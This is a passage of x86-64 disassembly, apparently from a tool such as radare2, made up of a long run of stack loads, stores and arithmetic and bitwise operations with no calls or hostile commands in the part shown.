movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x54f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5e]
mov byte [rsp + 0x104], al
movsx eax, word [rsp + 0xb08]
movsx ecx, word [0x140178f0c]
add eax, ecx
mov word [rsp + 0x88c], ax
mov rax, qword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0x5a60]
mov qword [rsp + 0x6378], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6378]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x55b0], rax
lea rax, [rsp + 0x2a70]
mov qword [rsp + 0x6380], rax
mov rax, qword [rsp + 0x54a8]
mov rcx, qword [rsp + 0x5bd0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4dc8]
mov eax, dword [rax]
mov dword [rsp + 0x2c9c], eax
mov rax, qword [rsp + 0x4cf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
xor eax, ecx
mov rcx, qword [0x14017a310]
mov byte [rcx], al
mov rax, qword [rsp + 0x5598]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ff8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5098]
mov byte [rcx], al
movsx eax, word [rsp + 0x99c]
mov rcx, qword [rsp + 0x59e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9c4], ax
mov rax, qword [rsp + 0x5b10]
movzx eax, word [rax]
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b]
and eax, ecx
mov rcx, qword [rsp + 0x5d58]
mov byte [rcx], al
lea rax, [rsp + 0x2bc4]
mov qword [rsp + 0x6388], rax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x5f08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x54a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5df0]
mov ecx, dword [rsp + 0x2bac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bc8], eax
mov rax, qword [rsp + 0x5420]
mov rax, qword [rax]
mov qword [rsp + 0x6390], rax
movzx eax, word [rsp + 0xa70]
mov rcx, qword [rsp + 0x50d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a358]
mov word [rcx], ax
mov rax, qword [rsp + 0x5c68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x56d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8d4], ax
mov rax, qword [rsp + 0x57b0]
movzx eax, byte [rax]
mov byte [rsp + 0x105], al
movzx eax, word [rsp + 0xa64]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb04], ax
lea rax, [0x140178ea7]
mov qword [rsp + 0x6398], rax
mov rax, qword [rsp + 0x6000]
mov rcx, qword [rsp + 0x5788]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5bd0], rax
mov rax, qword [rsp + 0x60d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov dword [rcx], eax
lea rax, [rsp + 0x2a60]
mov qword [rsp + 0x63a0], rax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5af0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4aa0], rax
mov rax, qword [rsp + 0x5068]
movzx eax, word [rax]
mov word [0x14017a368], ax
lea rax, [0x14017a0cf]
mov qword [rsp + 0x63a8], rax
mov rax, qword [rsp + 0x5128]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e78]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0x57e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa98]
or eax, ecx
mov word [rsp + 0x8f0], ax
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x106], al
mov rax, qword [rsp + 0x51b0]
movzx ecx, al
mov rax, qword [rsp + 0x6078]
shl rax, cl
mov qword [rsp + 0x52d8], rax
lea rax, [rsp + 0x2b54]
mov qword [rsp + 0x63b0], rax
mov rax, qword [rsp + 0x6308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fd8]
mov qword [rsp + 0x63b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x63b8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5d68], rax
mov rax, qword [rsp + 0x63a0]
mov ecx, dword [rsp + 0x2bfc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bf0], eax
lea rax, [rsp + 0x980]
mov qword [rsp + 0x63c0], rax
lea rax, [0x14017a350]
mov qword [0x14017a370], rax
mov rax, qword [rsp + 0x4da0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6068]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7e], al
lea rax, [rsp + 0x70]
mov qword [rsp + 0x63c8], rax
mov rax, qword [rsp + 0x5a78]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e8a]
and eax, ecx
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0x52f8]
mov rcx, qword [rsp + 0x6338]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x56a8]
mov qword [rcx], rax
lea rax, [rsp + 0x2b0c]
mov qword [rsp + 0x63d0], rax
mov rax, qword [rsp + 0x5a20]
mov rcx, qword [0x140178e78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4e40], rax
mov rax, qword [rsp + 0x50c0]
mov eax, dword [rax]
mov dword [rsp + 0x2ca0], eax
movzx eax, byte [rsp + 0xd8]
movzx ecx, byte [rsp + 0xe8]
add eax, ecx
mov byte [rsp + 0x6f], al
movsx eax, word [rsp + 0x9e4]
movsx ecx, word [0x14017a1a0]
sub eax, ecx
mov word [0x140178ed4], ax
lea rax, [rsp + 0x106]
mov qword [rsp + 0x63d8], rax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [rsp + 0x8c]
add eax, ecx
mov byte [rsp + 0xf9], al
mov rax, qword [0x14017a078]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8dc]
add eax, ecx
mov rcx, qword [rsp + 0x57e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x58f8]
mov rax, qword [rax]
mov qword [rsp + 0x63e0], rax
mov rax, qword [rsp + 0x5c78]
mov rcx, qword [rsp + 0x5ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6168], rax
mov eax, dword [rsp + 0x2c7c]
mov dword [rsp + 0x2ca4], eax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ad4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x63b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x8ec]
mov rcx, qword [rsp + 0x5e00]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x908], ax
movsx eax, word [rsp + 0xa30]
movsx ecx, word [rsp + 0x8dc]
or eax, ecx
mov word [0x140178f14], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x63e8], rax
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0xd6]
sar eax, cl
mov rcx, qword [rsp + 0x5bc8]
mov byte [rcx], al
movzx eax, word [rsp + 0xab4]
mov word [rsp + 0xb20], ax
mov eax, dword [rsp + 0x2c9c]
mov rcx, qword [rsp + 0x5cd0]
mov qword [rsp + 0x63f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x63f0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5160]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5b50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ed8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f80], rax
lea rax, [rsp + 0x5920]
mov qword [rsp + 0x63f8], rax
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2a18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5998]
mov dword [rcx], eax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x6400], rax
mov rax, qword [rsp + 0x5d78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x990]
sub eax, ecx
mov word [0x14017a0c8], ax
mov rax, qword [rsp + 0x6028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa98]
and eax, ecx
mov rcx, qword [rsp + 0x5760]
mov word [rcx], ax
lea rax, [rsp + 0xa64]
mov qword [rsp + 0x6408], rax
movzx eax, byte [rsp + 0xae]
mov rcx, qword [rsp + 0x5f58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb0], al
movsx eax, byte [rsp + 0x76]
movsx ecx, byte [rsp + 0x92]
sub eax, ecx
mov byte [rsp + 0x64], al
lea rax, [rsp + 0x55d0]
mov qword [rsp + 0x6410], rax
mov eax, dword [rsp + 0x2bec]
mov ecx, dword [rsp + 0x2bdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5388]
mov dword [rcx], eax
lea rax, [rsp + 0x5c78]
mov qword [rsp + 0x6418], rax
mov rax, qword [rsp + 0x4f50]
mov rcx, qword [rsp + 0x5db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x55b8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x8c4]
movzx ecx, word [rsp + 0x930]
add eax, ecx
mov word [0x140178ea8], ax
mov rax, qword [rsp + 0x62f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb0], al
movzx eax, word [0x140178e90]
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x51b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5bf0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x9c4], ax
lea rax, [rsp + 0x878]
mov qword [rsp + 0x6420], rax
mov rax, qword [rsp + 0x6020]
mov rcx, qword [rsp + 0x5ba8]
mov qword [rsp + 0x6428], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6428]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x62c8]
mov rcx, qword [rsp + 0x6380]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2be0], eax
mov eax, dword [rsp + 0x2bf0]
mov dword [rsp + 0x2ca8], eax
mov rax, qword [rsp + 0x52d8]
mov rcx, qword [rsp + 0x51e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6150], rax
lea rax, [rsp + 0x105]
mov qword [0x14017a378], rax
lea rax, [rsp + 0x9d4]
mov qword [rsp + 0x6430], rax
movzx eax, byte [rsp + 0xb1]
mov rcx, qword [rsp + 0x4c58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6d], al
mov rax, qword [0x14017a078]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5048]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x63c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
mov byte [rsp + 0x107], al
mov rax, qword [rsp + 0x51d0]
mov rcx, qword [0x14017a058]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x58f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6278]
mov eax, dword [rax]
mov dword [rsp + 0x2cac], eax
mov rax, qword [rsp + 0x58c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29c4], eax
mov rax, qword [rsp + 0x6370]
mov qword [rsp + 0x6438], rax
movsx eax, byte [0x14017a051]
movsx ecx, byte [rsp + 0x56]
and eax, ecx
mov byte [0x14017a0cc], al
movsx eax, word [rsp + 0x988]
mov rcx, qword [rsp + 0x53d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5868]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb6]
mov rcx, qword [0x14017a268]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8d], al
movzx eax, word [rsp + 0xb1c]
mov word [rsp + 0xb28], ax
movsx eax, byte [rsp + 0x87]
mov rcx, qword [rsp + 0x6068]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5830]
mov byte [rcx], al
mov rax, qword [rsp + 0x5bf8]
mov qword [rsp + 0x6440], rax
mov rax, qword [rsp + 0x5f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c74], eax
mov rax, qword [rsp + 0x55d8]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5de0]
mov dword [rcx], eax
lea rax, [rsp + 0x6310]
mov qword [rsp + 0x6448], rax
lea rax, [rsp + 0x96c]
mov qword [0x14017a380], rax
mov rax, qword [rsp + 0x5c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5168]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x994], ax
mov rax, qword [rsp + 0x62f8]
movzx eax, byte [rax]
mov byte [rsp + 0x108], al
movsx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x6400]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5620]
mov byte [rcx], al
movzx eax, byte [rsp + 0x75]
mov rcx, qword [rsp + 0x58b8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x5de8]
mov qword [rsp + 0x6450], rax
mov rax, qword [rsp + 0x5200]
mov ecx, dword [rsp + 0x2ca4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5368]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6328]
mov eax, dword [rax]
mov dword [rsp + 0x2cb0], eax
mov rax, qword [rsp + 0x5da8]
mov rcx, qword [rsp + 0x5e78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5f28]
mov qword [rcx], rax
movsx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0x6028]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178ed0], ax
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x109], al
movzx eax, word [rsp + 0xaac]
movzx ecx, word [0x140178ec4]
sub eax, ecx
mov rcx, qword [rsp + 0x5378]
mov word [rcx], ax
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xcb]
add eax, ecx
mov byte [rsp + 0xe4], al
movzx eax, byte [rsp + 0xce]
mov byte [rsp + 0x10a], al
mov rax, qword [rsp + 0x5df0]
mov rcx, qword [rsp + 0x5748]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6368]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ba8]
mov rax, qword [rax]
mov qword [rsp + 0x6458], rax
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2ba4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b30], eax
mov rax, qword [rsp + 0x5420]
mov rcx, qword [rsp + 0x5af0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5458], rax
movzx eax, word [rsp + 0xa3c]
mov rcx, qword [rsp + 0x5d10]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f18], ax
lea rax, [rsp + 0x92]
mov qword [rsp + 0x6460], rax
mov rax, qword [rsp + 0x6320]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5968]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9cc], ax
mov rax, qword [rsp + 0x5688]
movzx eax, byte [rax]
mov byte [rsp + 0x10b], al
movsx eax, word [rsp + 0xa20]
mov rcx, qword [rsp + 0x54d0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x99c], ax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2c28]
sar eax, cl
mov dword [rsp + 0x2c40], eax
mov eax, dword [rsp + 0x2c88]
mov dword [rsp + 0x2cb4], eax
mov rax, qword [rsp + 0x52a0]
mov rcx, qword [rsp + 0x4e60]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5d28]
mov qword [rcx], rax
lea rax, [0x140178e78]
mov qword [rsp + 0x6468], rax
movzx eax, word [rsp + 0xa48]
mov word [0x14017a388], ax
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x5ea0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4ec0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [rsp + 0x5318]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe1], al
movzx eax, word [rsp + 0xb04]
mov word [rsp + 0xb2c], ax
movzx eax, word [rsp + 0xa64]
mov rcx, qword [rsp + 0x5f00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5538]
mov word [rcx], ax
lea rax, [rsp + 0x2ac4]
mov qword [rsp + 0x6470], rax
mov rax, qword [rsp + 0x62b0]
mov rcx, qword [rsp + 0x5cc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4fd0], rax
mov rax, qword [rsp + 0x5f98]
mov qword [rsp + 0x6478], rax
mov eax, dword [rsp + 0x2ba0]
mov ecx, dword [rsp + 0x2b54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a48], eax
movzx eax, word [rsp + 0xa2c]
movzx ecx, word [rsp + 0xa7c]
sub eax, ecx
mov word [rsp + 0x894], ax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x5d30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178eaa], al
movzx eax, word [0x140178ec0]
mov word [rsp + 0xb30], ax
movzx eax, byte [rsp + 0xcb]
movzx ecx, byte [rsp + 0xb9]
add eax, ecx
mov byte [rsp + 0x88], al
mov rax, qword [rsp + 0x5fc8]
movzx eax, word [rax]
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x5c60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5348]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5320]
mov rcx, qword [rsp + 0x5e40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6078], rax
lea rax, [rsp + 0x2c60]
mov qword [rsp + 0x6480], rax
mov eax, dword [rsp + 0x2b24]
mov ecx, dword [rsp + 0x2ab8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
lea rax, [rsp + 0xcf]
mov qword [rsp + 0x6488], rax
movzx eax, byte [rsp + 0xe3]
movzx ecx, byte [rsp + 0xd1]
sar eax, cl
mov rcx, qword [0x14017a130]
mov byte [rcx], al
mov rax, qword [rsp + 0x5208]
movsx eax, word [rax]
movsx ecx, word [0x14017a228]
shl eax, cl
mov word [rsp + 0x8d0], ax
mov rax, qword [rsp + 0x60c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5c20]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x898], ax
lea rax, [rsp + 0xfe]
mov qword [rsp + 0x6490], rax
mov rax, qword [rsp + 0x5470]
mov eax, dword [rax]
mov ecx, dword [0x14017a060]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c9c], eax
mov rax, qword [rsp + 0x5a20]
mov rax, qword [rax]
mov qword [rsp + 0x6498], rax
mov rax, qword [rsp + 0x5850]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5348]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x6238]
mov rcx, qword [rsp + 0x52e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a70], eax
mov rax, qword [rsp + 0x51a8]
movzx eax, word [rax]
mov word [rsp + 0xb38], ax
movsx eax, byte [rsp + 0x56]
movsx ecx, byte [rsp + 0x51]
add eax, ecx
mov byte [0x140178eb7], al
mov rax, qword [rsp + 0x59e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa24]
add eax, ecx
mov word [rsp + 0x970], ax
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x5478]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6008]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5640]
mov word [rcx], ax
mov eax, dword [0x140178e8c]
mov dword [rsp + 0x2cb8], eax
mov rax, qword [rsp + 0x5f88]
mov rcx, qword [rsp + 0x61d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x5948]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5528]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov dword [rsp + 0x2cbc], eax
movsx eax, byte [rsp + 0xcf]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0xf7], al
movzx eax, word [rsp + 0x918]
movzx ecx, word [rsp + 0x990]
and eax, ecx
mov word [0x140178f04], ax
mov rax, qword [rsp + 0x5a08]
movzx eax, word [rax]
mov word [rsp + 0xb3c], ax
movzx eax, byte [rsp + 0xf5]
movzx ecx, byte [rsp + 0x96]
sar eax, cl
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x5f90]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a052]
or eax, ecx
mov rcx, qword [rsp + 0x5d58]
mov byte [rcx], al
lea rax, [rsp + 0x71]
mov qword [rsp + 0x64a0], rax
mov rax, qword [rsp + 0x4e88]
movzx ecx, al
mov rax, qword [rsp + 0x4b30]
shl rax, cl
mov rcx, qword [rsp + 0x4ac0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5de0]
mov eax, dword [rax]
mov dword [rsp + 0x2cc0], eax
mov rax, qword [rsp + 0x5920]
mov rcx, qword [str.kD3]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x52a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x53e0]
mov ecx, dword [rsp + 0x2afc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5f00]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f1c], ax
lea rax, [rsp + 0xb30]
mov qword [rsp + 0x64a8], rax
mov rax, qword [rsp + 0x51f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x88]
and eax, ecx
mov byte [rsp + 0x77], al
lea rax, [rsp + 0xa70]
mov qword [rsp + 0x64b0], rax
mov rax, qword [rsp + 0x5630]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x56d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa94], ax
lea rax, [rsp + 0x2b0c]
mov qword [rsp + 0x64b8], rax
mov eax, dword [rsp + 0x2c28]
mov ecx, dword [rsp + 0x2a50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c3c], eax
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x52d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6018]
mov qword [rcx], rax
lea rax, [rsp + 0x5778]
mov qword [rsp + 0x64c0], rax
mov rax, qword [rsp + 0x5cc8]
movzx eax, byte [rax]
mov byte [0x14017a0e5], al
movzx eax, byte [0x140178ea3]
movzx ecx, byte [rsp + 0xe0]
add eax, ecx
mov byte [rsp + 0xb6], al
movzx eax, word [rsp + 0x9b8]
mov word [rsp + 0xb40], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ff8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5898]
mov byte [rcx], al
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb10]
sub eax, ecx
mov rcx, qword [rsp + 0x5ac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5ef8]
mov rax, qword [rax]
mov qword [rsp + 0x64c8], rax
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x63e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5e58], rax
mov eax, dword [rsp + 0x2c4c]
mov dword [rsp + 0x2cc4], eax
mov rax, qword [rsp + 0x4f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6380]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa14]
sar eax, cl
mov rcx, qword [0x14017a308]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x63c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0x4d50]
movzx eax, byte [rax]
mov byte [rsp + 0x10d], al
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [0x14017a220]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6400]
mov byte [rcx], al
lea rax, [rsp + 0x9a8]
mov qword [rsp + 0x64d0], rax
mov eax, dword [rsp + 0x2c78]
movzx ecx, al
mov eax, dword [rsp + 0x2afc]
shl eax, cl
mov dword [rsp + 0x28f4], eax
mov rax, qword [rsp + 0x5078]
mov rcx, qword [rsp + 0x62b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x58a0], rax
mov rax, qword [rsp + 0x6030]
mov rax, qword [rax]
mov qword [rsp + 0x64d8], rax
mov eax, dword [rsp + 0x2b44]
mov ecx, dword [rsp + 0x2a68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b3c], eax
mov rax, qword [0x14017a2f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e28]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178f18], ax
lea rax, [rsp + 0x10a]
mov qword [rsp + 0x64e0], rax
mov rax, qword [rsp + 0x56d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5cb0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5690]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x10e], al
mov rax, qword [rsp + 0x5660]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6268]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa04], ax
mov rax, qword [rsp + 0x5bb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a84]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5308]
mov dword [rcx], eax
lea rax, [rsp + 0x63e0]
mov qword [rsp + 0x64e8], rax
mov rax, qword [rsp + 0x5088]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ab0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5b08]
mov qword [rcx], rax
lea rax, [rsp + 0x29e4]
mov qword [rsp + 0x64f0], rax
lea rax, [rsp + 0xa84]
mov qword [0x14017a390], rax
mov rax, qword [0x14017a268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5bb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x51f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5bb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5ea0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0xb3c]
mov qword [rsp + 0x64f8], rax
movzx eax, word [rsp + 0xa74]
movzx ecx, word [rsp + 0x86c]
xor eax, ecx
mov rcx, qword [rsp + 0x60c0]
mov word [rcx], ax
lea rax, [rsp + 0x4f40]
mov qword [rsp + 0x6500], rax
mov eax, dword [0x140178e6c]
movzx ecx, al
mov eax, dword [rsp + 0x2b34]
shl eax, cl
mov rcx, qword [rsp + 0x6470]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5138]
mov rcx, qword [rsp + 0x55f8]
mov qword [rsp + 0x6508], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6508]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
lea rax, [rsp + 0x2b5c]
mov qword [rsp + 0x6510], rax
mov rax, qword [rsp + 0x5d40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe6]
or eax, ecx
mov byte [0x140178eba], al
movzx eax, word [rsp + 0xa60]
mov rcx, qword [rsp + 0x56e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa70], ax
lea rax, [rsp + 0x54]
